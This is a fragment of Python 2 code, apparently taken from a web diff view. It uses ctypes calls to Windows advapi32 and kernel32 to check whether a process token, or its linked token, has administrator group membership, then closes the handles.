elif e.winerror == ERROR_PRIVILEGE_NOT_HELD:
|
||||
return False
|
||||
else:
|
||||
raise
|
||||
# Check if the linked token has the admin SID
|
||||
try:
|
||||
ctypes.windll.advapi32.CheckTokenMembership(lToken,byref(sid),byref(has_admin))
|
||||
return bool(has_admin.value)
|
||||
finally:
|
||||
ctypes.windll.kernel32.CloseHandle(lToken)
|
||||
finally:
|
||||
ctypes.windll.kernel32.CloseHandle(token)
|
||||
except Exception,e:
|
||||
return None
|
||||
finally:
|
||||
try:
|
||||
ctypes.windll.kernel32.CloseHandle(proc)
|
||||
except Exception,e:
|
||||
pass
|
||||
|
|
Loading…
Reference in New Issue